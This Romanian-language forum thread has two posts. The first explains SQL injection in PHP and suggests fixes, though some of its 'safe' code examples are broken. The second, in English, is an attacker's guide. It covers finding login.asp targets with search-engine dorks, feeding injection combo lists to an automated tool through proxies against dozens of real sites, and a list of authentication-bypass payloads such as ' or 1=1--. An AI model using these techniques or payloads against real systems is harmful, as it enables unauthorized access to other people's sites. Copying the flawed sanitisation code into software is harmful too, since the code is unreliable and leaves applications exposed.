Tehnica SQL injection

Admin Alcoolic Data inscrierii: 19/Iul/2008 Mesaje: 24

Tehnica SQL injection da probabilitatea unui atacator sa execute comenzi SQL neautorizate porfitand de oportunitati neortodoxe de intrare in aplicatiile web construind interogari SQL dinamice.
Acesta devine posibil deoarece PHP combina sirurile interogarilor MYSQL pe care le setezi cu variabila inainte pentru ca cineva sa poata adauga o a doua interogare sau schimba interogarea ta pentru a le dărui informatii sau acces pe care nu ar necesită sa il aiba. Cele mai obisnuite dintre aceste intrari includ apostrofuri unescaped in declaratiile SQL.

PROBLEMA

Considerati urmatoarea interogare SQL in PHP:
$result=mysql_query('SELECT * FROM users WHERE username="'.$_GET['username'].'"');

Interogarea selecteaza toate randurile din tabelul userilor unde username-ul este acelasi cu cel din sirul de interogari. Daca priviti cu atentie, veti realiza ca declaratia este vulnerabila la SQL injection - apostroful in $_GET['username'] nu sunt , si prin urmare nu vor fi cuprinse ca parte din declaratie, ceea ce permite un comportament defectuos.
Ganditi-va ce s-ar intampla daca $_GET['username'] ar fi urmatorul: " OR 1 OR username = " (dublu apostrof, urmat de textualul " OR 1 OR username = " urmat de un alt dublu apostrof). Cuprins in expresia originala, interogarea devine urmatoarea: SELECT * FROM users WHERE username = "" OR 1 OR username = "". Altfel, un dublu apostrof va ramane la sfarsitul afirmatiei.
Aceasta selecteaza toate sirurile din tabelul userilor. Desi nu pare periculos, alte coduri infectate pot fi adaugate, mai ales in interogarile DELETE sau UPDATE care modifica tabelul.
De asemenea, un alt sir de coduri SQL poate fi adaugat la SELECT * FROM `users` WHERE username = '' adaugand un apostrof sau o semicoloana la sfarsit, astfel sirul devene SELECT * FROM `users` WHERE username = ''; ' care cu usurinta se transforma in SELECT * FROM `users` WHERE username = ''; DELETE * FROM `forum` WHERE title != ''

SOLUTIA

Niciodata sa nu aveti incredere in informatiile userului, procesati informatia numai dupa validare. De regula, aceasta se face prin pattern matching. In exemplul urmator, username-ul este restrictionat la caractere alfanumerice plus underscore si cu o extindere cuprinsa intre 8-20 caractere – modificati la nevoie.

if (preg_match("/^\w{8,20}$/", $_GET['username'], $matches))
$result = mysql_query("SELECT * FROM users WHERE username=$matches[0]";
else // we don't bother querying the database
echo "username not accepted";

O buna practica in codare afirma ca apostrofurile duble ar trebuie folosite mereu in oricarei informatii variabile. Ori folosing slash dublu apostrof , ori apostrof simplu, cadrand intreaga interogatie, pentru ca tipul opus de interogatie sa nu trebuiasca escaped, desi acelasi tip de apostrof trebuie escaped.
$result = mysql_query('SELECT * FROM users WHERE username = "$usern"');

or

$result = mysql_query("SELECT * FROM users WHERE username = \"$usern\" ";

Pentru o siguranta mai mare, renuntati la executarea scriptului inlocuind echo cu exit() or die().
Aceasta inca se mai aplica atunci cand se folosesc checkboxuri, butoane ratio, liste de selectie, etc. Orice browser cerut (chiar si POST) poate fi REPLICATED prin telnet, situri duplicate, javascript, sau codare(chiar si PHP), asadar intotdeauna trebuie sa fiti prevazatori in privinta restrictiilor pentru codarea aferenta clientului.

Folosirea mysql_real_escape_string()

PHP ofera o functie care se ocupa cu inserarea userului in MySQL, si aceea este mysql_real_escape_string(string unescaped_string[, resource link_identifier]). Acest script scapa de toate caracterele potential periculoase din sir si transforma sirul escaped intr-unul prudent pentru a fi întrebuințat in sirul MySQL.
(Functia originala, myqsl_escape_string, nu a luat in considerare caracterul curent pentru a iesi din sir, nici nu a acceptat argumentul conexiunii. Este dezaprobata inca de la PHP 4.3.0) Spre exemplu, luati urmatorul exemplu:

$result=mysql_query('SELECT * FROM users WHERE username="'.$_GET['username'].'"');

Aceasta poate fi escaped dupa cum urmeaza:

$result=mysql_query('SELECT * FROM users WHERE username="'.mysql_real_escape_string($_GET['username']).'"');

Astfel, daca userul a incercat sa insereze o alta declaratie in afara de DELETE, ar fi interpretat inofensiv ca o parte din parametrul clauza WHERE:

SELECT * FROM `users` WHERE username = '\';DELETE * FROM `forum` WHERE title != \''

Backslashurile adaugate de mysql_real_escape_string face ca MySQL sa le interpreteze ai degraba ca si caractere cu un solitar apostrof decat ca si parte din declaratia SQL.
Luati la cunostinta cu MySQL nu îngăduie multe interogari asadar DELETE FROM din tabel nu merge oricum.

Betiv Cultivat Data inscrierii: 20/Iul/2008 Mesaje: 58

continuare :

SEARCH:

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another question

WHAT I DO :

first let me go into details on how i go about my research

i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs...legally cool...provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org "thanks mate" .. gives me a chance to concentrate on what am doing and not be looking over my shoulder

INJECTION STRINGS:HOW ?

this is the easiest part...very simple

on the login page just enter something like

user:admin (you dont even have to put this.)
pass:' or 1=1--

or

user:' or 1=1--
admin:' or 1=1--

some sites will have just a password so

password:' or 1=1--

infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common used

there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths...but thats another paper

the one am interested in are quick access to targets

PROGRAM

i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??

combo example:

admin:' or a=a--
admin:' or 1=1--

and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injection
string

now the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO...G=Google+Search

17,000 possible targets trying various searches spews out plent more

now using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interesting
i then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp

and so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages is
i want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for me

i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go into
problems with users using Ares..thing is i know it works for me...

sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputs

am still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.

there you go you should have access to your vulnerable target by now

another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomes

user=' or 1=1-- just as quick as login process

(Variations)

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

happy hunting

ComSec aka ZSL